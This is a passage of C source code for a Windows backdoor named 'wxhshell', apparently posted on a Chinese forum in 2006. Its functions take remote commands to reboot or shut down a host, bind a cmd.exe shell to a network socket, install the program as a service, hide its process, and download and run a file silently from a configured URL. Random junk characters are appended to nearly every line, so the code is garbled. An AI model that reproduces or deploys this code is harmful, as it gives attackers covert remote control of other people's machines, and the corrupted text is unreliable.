  case '?': { LcCb[r  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); ?T-6|vZA  
    break; 5g  ,u\`  
  } #+Z3!VS  
  // 安装 :"? boA#L  
  case 'i': { %J4]T35^2  
    if(Install()) yyZH1A  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); g/,fjM_  
    else [tDUR  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ?z0f5<dL  
    break; a6=mE?JTB  
    } 1 Y_e1tgmm  
  // 卸载 @>f]0,"(  
  case 'r': { b2c% 0C  
    if(Uninstall()) e"(l  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); o~!4&  
    else W Da;wt  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); epa)ctS9  
    break; j-|YE?AA  
    } M iIH&z  
  // 显示 wxhshell 所在路径 Q(h,P+  
  case 'p': { bep}|8,#u  
    char svExeFile[MAX_PATH]; "6rZn_H/|  
    strcpy(svExeFile,"\n\r"); Zzr+p.  
      strcat(svExeFile,ExeFile); G3&ES3L  
        send(wsh,svExeFile,strlen(svExeFile),0); <b"ynoM.A  
    break; Ls#pe  
    } ~L Gkc t  
  // 重启 K0 .f4 o  
  case 'b': { K v"e\ E  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 3=~"<f l  
    if(Boot(REBOOT)) on(P  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); +kTAOf M  
    else { ;>[).fX>/  
    closesocket(wsh); 84tuN  
    ExitThread(0); {n%-^9b1{&  
    } GyJp! xFB  
    break; EAo7(d@  
    } h5-<2B|  
  // 关机 %.kJ@@_e  
  case 'd': { = X?jId{  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); ^@'LF T)  
    if(Boot(SHUTDOWN)) H=OKm  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); -t, .A/?  
    else { T.vkGB=QZ%  
    closesocket(wsh); 8m0GxgS  
    ExitThread(0); OchIEF "N  
    } %,-oxeM1u  
    break; Z_oBZs  
    } jFBLElE  
  // 获取shell XY]|OZ7(  
  case 's': { ZW$PJmz  
    CmdShell(wsh); $F!)S  
    closesocket(wsh); %Y"@VcN  
    ExitThread(0); _q >>]{5  
    break; =6Dz<Lq  
  } 75j`3wzu  
  // 退出 !JtVp&?  
  case 'x': { fHek!Jv.  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); sGjYL>*  
    CloseIt(wsh); kK]JN  
    break; ?:(BkY,K5  
    } XOQj?Q7)U  
  // 离开 VY)!bjW.  
  case 'q': { P8jXruZr  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); 5`oVyxJ<  
    closesocket(wsh); @GzEhv  
    WSACleanup(); q| p6UL9  
    exit(1); B[:-SWd  
    break; tL68 u[  
        } ` V}e$  
  } !BD+H/A.{  
  } l][{ #>V  
,&S:(b[D  
  // 提示信息 $gm`}3C<  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); SV;S`\i  
} T&6W>VQ|[>  
  } h$)},% e  
v=15pW  
  return; ]K'iCYY  
} G*_$[|H  
Ky33h 0TX  
// shell模块句柄 o:u *E  
int CmdShell(SOCKET sock) 5#+G7 'k  
{ j8*fa  
STARTUPINFO si; Vt-D8J\A 0  
ZeroMemory(&si,sizeof(si)); Gp.+&\vi  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; _w8iPL5:  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; z_vFf0  
PROCESS_INFORMATION ProcessInfo; ^<fN  
char cmdline[]="cmd"; .Ua|KKK C  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); *C*n( the  
  return 0; zCxr]md  
} `!<RP'  
(rV#EA+6[`  
// 自身启动模式 e1ru#'z  
int StartFromService(void) D6 B(6 5Y  
{ k^-HY[Q9  
typedef struct q~9Y&>D  
{ Y#Pl)sRr  
  DWORD ExitStatus; x}I'W?g  
  DWORD PebBaseAddress; {Muw4DV  
  DWORD AffinityMask; *I 7$\0Q  
  DWORD BasePriority;  S^;D\6(r  
  ULONG UniqueProcessId; c}K>#{YeB  
  ULONG InheritedFromUniqueProcessId; $y~!ePKh  
}   PROCESS_BASIC_INFORMATION; R1Jj 3k  
Ym~*5|  
PROCNTQSIP NtQueryInformationProcess; h^#K4/  
yM(zc/?  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; S~auwY,<  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; ,gHgb  
~Y^ UP  
  HANDLE             hProcess; VHhW_ya1g{  
  PROCESS_BASIC_INFORMATION pbi; u\gPx4]4c  
wmu#@Hf/[h  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); z>HeM Mei  
  if(NULL == hInst ) return 0; fyat-wbb  
(~t/8!7N  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); Bd8,~8  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 8':^tMd  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); %G!BbXlz  
p7y8/m\6  
  if (!NtQueryInformationProcess) return 0; gKK*` L~  
{VOLUC o 4  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); f{=0-%dA  
  if(!hProcess) return 0; D&KD5_Sw  
lc%2fVG-e  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; C^vB&3ghi  
c=]z%+,b]  
  CloseHandle(hProcess); \ UCOe  
fg1_D  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); C^>txui8  
if(hProcess==NULL) return 0; [43:E*\$  
Ph(bgQg  
HMODULE hMod; ~Xa8\>  
char procName[255]; <4!SQgL  
unsigned long cbNeeded; hVPSW# .d  
MpZ #  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); f=%k9Y*)  
DpG|Kl|d  
  CloseHandle(hProcess); FOz7W  
RLkP)+t  
if(strstr(procName,"services")) return 1; // 以服务启动 |fYr*8rH  
s>8;At-  
  return 0; // 注册表启动  XI+m  
} + k1|+zzS  
^ ,`;x  
// 主模块 Qo7]fnnaV  
int StartWxhshell(LPSTR lpCmdLine) {%WQQs  
{ yEm[C(gZ  
  SOCKET wsl; G 2L?j   
BOOL val=TRUE; EC *rd  
  int port=0; zqqu7.`  
  struct sockaddr_in door; @k_xA-a  
$GI2rzh  
  if(wscfg.ws_autoins) Install(); $2l<X KT-  
tBSHMz  
port=atoi(lpCmdLine); l#!p?l  
V-Ebi^gz5W  
if(port<=0) port=wscfg.ws_port; e))fbv&V  
#3!l6]  
  WSADATA data; Rlvb@aXgy  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; p BU,"Yy&  
[v7)xV@c  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   R0>GM`{  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); <w@ziUr  
  door.sin_family = AF_INET; `?Wy;5-  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); 7GN>o@t  
  door.sin_port = htons(port); G$b*N4yR  
$]eU'!2)  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { obYXDj2  
closesocket(wsl); :by EXe;3  
return 1; Oj6PmUK4  
} BEn,py7  
|etA2"r&  
  if(listen(wsl,2) == INVALID_SOCKET) { )n8(U%q$  
closesocket(wsl); n}NO"eF>-s  
return 1; U Ke!zI  
} 6y;R1z b  
  Wxhshell(wsl); udCum4  
  WSACleanup(); \F_~?$  
5i 56J1EC  
return 0; @9yY`\"ed  
}bwH(OOS  
} .Sz<%d7XIQ  
-)S(eqq1  
// 以NT服务方式启动 .2y2Qm  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) Q};g~b3  
{ nJEm&"AI  
DWORD   status = 0; ) `u)#@x  
  DWORD   specificError = 0xfffffff; y[ikpp#ozY  
gQXB=ywF  
  serviceStatus.dwServiceType     = SERVICE_WIN32; K x7'm1  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; aTJs.y -I~  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; ~Q  q0  
  serviceStatus.dwWin32ExitCode     = 0; G5JZpB#o  
  serviceStatus.dwServiceSpecificExitCode = 0; Tyc`U&  
  serviceStatus.dwCheckPoint       = 0; 9rO,h|L   
  serviceStatus.dwWaitHint       = 0; 7 (}gs?&w  
#;l~Y}7'  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 'IR2H{Q  
  if (hServiceStatusHandle==0) return; s@Q, wa(  
+YS0yTWeX  
status = GetLastError(); irg% n  
  if (status!=NO_ERROR) 5.1 c#rL  
{ r-Nv<oH;  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; xPuuG{Sm  
    serviceStatus.dwCheckPoint       = 0; gO{XD.s  
    serviceStatus.dwWaitHint       = 0; t-, =sV  
    serviceStatus.dwWin32ExitCode     = status; e.8(tEqZ1  
    serviceStatus.dwServiceSpecificExitCode = specificError; BQ\o?={  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); P5vxQR_*lc  
    return; ,!m][  
  } VeLuL:4I  
#M9rt ~4  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; zjuU*$A4  
  serviceStatus.dwCheckPoint       = 0; t%xD epFQ  
  serviceStatus.dwWaitHint       = 0; F;I %9-R  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); m[k@\xS4e  
} 5]c'n  
jB"?iC.  
// 处理NT服务事件,比如:启动、停止 w=ZSyT-i  
VOID WINAPI NTServiceHandler(DWORD fdwControl) `V(z z  
{ 3,Dc}$t  
switch(fdwControl) 8IX:XDEQ  
{ nPAVrDg O  
case SERVICE_CONTROL_STOP: 7U:-zfq  
  serviceStatus.dwWin32ExitCode = 0; yA74Rxl*6  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; G;^},%<  
  serviceStatus.dwCheckPoint   = 0; 7Nw} }  
  serviceStatus.dwWaitHint     = 0; :n@j"-HA  
  { -#9Hb.Q;  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus);  2s+ITPr  
  } ~E]ct F  
  return; o~ v   
case SERVICE_CONTROL_PAUSE: Z9TUaMhF  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; 'dkKBLsx  
  break; r)9&'m.:  
case SERVICE_CONTROL_CONTINUE: WcG!6.U>  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; 7K*\F}2)q  
  break; G`a,(<kT;  
case SERVICE_CONTROL_INTERROGATE: uQ}0hs  
  break; {~Q9jg(A  
}; Lc0 U-!{G  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); /b44;U`v5-  
}  H[cHF  
zK*zT$<l  
// 标准应用程序主函数 F5*NK!U  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) _tl,-}~  
{ G>3]A5  
u:6PAVW?  
// 获取操作系统版本 YY&3M  
OsIsNt=GetOsVer(); } Fw/WD  
GetModuleFileName(NULL,ExeFile,MAX_PATH); w2 L'j9  
e:h(,  
  // 从命令行安装 -T s8y  
  if(strpbrk(lpCmdLine,"iI")) Install(); Hy?+p{{G  
#[4MwM3  
  // 下载执行文件 gwf *M3(  
if(wscfg.ws_downexe) { %XpYiW#AK  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) @,Re<%\  
  WinExec(wscfg.ws_filenam,SW_HIDE); R5y+bMZ  
} ))pp{X2m  
{3jV ,S  
if(!OsIsNt) { Tb2Tb2C  
// 如果时win9x,隐藏进程并且设置为注册表启动 \Mujx3Fmvx  
HideProc(); K2W$I H:.  
StartWxhshell(lpCmdLine); %LL*V|  
} ,>DaS(  
else ?=UIx24W  
  if(StartFromService()) &$'=SL(Z  
  // 以服务方式启动 RWN2 P6  
  StartServiceCtrlDispatcher(DispatchTable); #^\q Fj  
else l~Em2@c  
  // 普通方式启动 BFCF+hU^6R  
  StartWxhshell(lpCmdLine); C:]&V*d.v4  
V4('}Q!  
return 0; :s Mc}k?9S  
}
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只看该作者 1 发表于: 2006-10-10
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